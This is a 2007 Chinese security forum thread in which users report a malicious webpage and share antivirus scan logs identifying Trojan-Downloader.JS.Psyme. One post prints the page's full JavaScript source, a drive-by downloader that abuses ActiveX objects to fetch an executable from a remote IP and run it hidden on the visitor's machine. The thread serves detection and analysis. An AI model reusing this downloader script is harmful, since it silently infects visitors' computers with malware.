挂毒的网页.还可以

显示全部楼层 · 发表于 2007-6-20 17:12:12

有毒的网页迈克菲一进就报了 ht.p://www.pkzz.net/download/931/

显示全部楼层 · 发表于 2007-6-20 17:44:23

瑞星文件监控报未知病毒

瑞星网页监控报Trojan.DL.VBS.Agent.cjy

[ 本帖最后由 kp2006 于 2007-6-20 17:46 编辑 ]

显示全部楼层 · 发表于 2007-6-20 17:49:10

<html><head>
<script language="Javascript">
function do1(mx,as,p)
{
mx.Send();
as.Type = 1;
as.Open();
as.Write(mx.responseBody);
as.SaveToFile(p,2);
as.Close();
}
var a = null;
var mx,as,p;
p = "C:\\pageflies2.exe"
a = (document.createElement("object"));
a.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
try{mx = a.CreateObject("Microsoft.XMLHTTP","");}catch(e){};
if(!mx)try{mx = new ActiveXObject("Microsoft.XMLHTTP");}catch(e){};
try{as = a.CreateObject("Adodb.Stream","");}catch(e){};
if(as){
mx.Open("GET","http://222.180.37.146/down/123.exe",0);
do1(mx,as,p);
var r;
try{r = a.CreateObject("Shell.Application","");}catch(e){};
if(r)
{
r.ShellExecute(p,"","","open",0);
}else
{
try{r = a.CreateObject("WScript.Shell","");}catch(e){};
if(r)r.Run(p,0);
}
}

</script>
</head>
<body>
</body></html>

显示全部楼层 · 发表于 2007-6-20 17:54:05

扫描开始时间: 2007-6-20 17:59:22
扫描日志
NOD32 版本 2340 (20070620) NT
命令行: F:\virus\rav.rar

日期: 2007年6月20日时间: 17:59:23
反 Rookits 技术已启用。
已扫描磁盘、文件夹和文件: F:\virus\rav.rar
F:\virus\rav.rar ?RAR ?123[1].htm<病毒 - JS/TrojanDownloader.Psyme.DC 木马>
已扫描文件数量: 2
已发现病毒数量: 1
完成时间: 17:59:23 总共扫描时间: 0 秒 (00:00:00)

显示全部楼层 · 发表于 2007-6-20 18:01:29

小红伞没反应啊

显示全部楼层 · 发表于 2007-6-20 18:08:01

斧头监控报警

显示全部楼层 · 发表于 2007-6-20 18:08:29

Virus check with AntiVirusKit
Version 16.0.7
Virus signatures of 2007-6-20
Start time: 2007-6-20 18:11
Engine(s): KAV engine (AVK 17.5745), BD-Engine (BD 17.5365)
Heuristic: On
Archives: On
System areas: Off

Check selected directories and files...
Object: 123[1].htm
In archive: C:\Documents and Settings\Administrator\桌面\rav.rar
Status: Virus detected
Virus: Trojan-Downloader.JS.Psyme.dc (KAV engine), Generic.XPL.ADODB.585C4DDF (BD-Engine)
Object: 133236255760.tmp
In archive: C:\Documents and Settings\Administrator\桌面\rav.rar
Status: Virus detected
Virus: Generic.XPL.ADODB.38E3FFEE (BD-Engine)
Object: rav.rar
Path: C:\Documents and Settings\Administrator\桌面
Status: Move file into quarantine
Virus: Trojan-Downloader.JS.Psyme.dc (KAV engine), Generic.XPL.ADODB.38E3FFEE, Generic.XPL.ADODB.585C4DDF (BD-Engine)
Analysis complete: 2007-6-20 18:11
1 files checked
1 infected files detected
0 suspected files detected

显示全部楼层 · 发表于 2007-6-20 18:09:08

已经没有毒了，鉴定完毕

显示全部楼层 · 发表于 2007-6-20 18:09:14

KAV报

显示全部楼层 · 发表于 2007-6-20 18:55:10

进入后咖啡报了，恶意脚本

挂毒的网页.还可以

本帖子中包含更多资源

本帖子中包含更多资源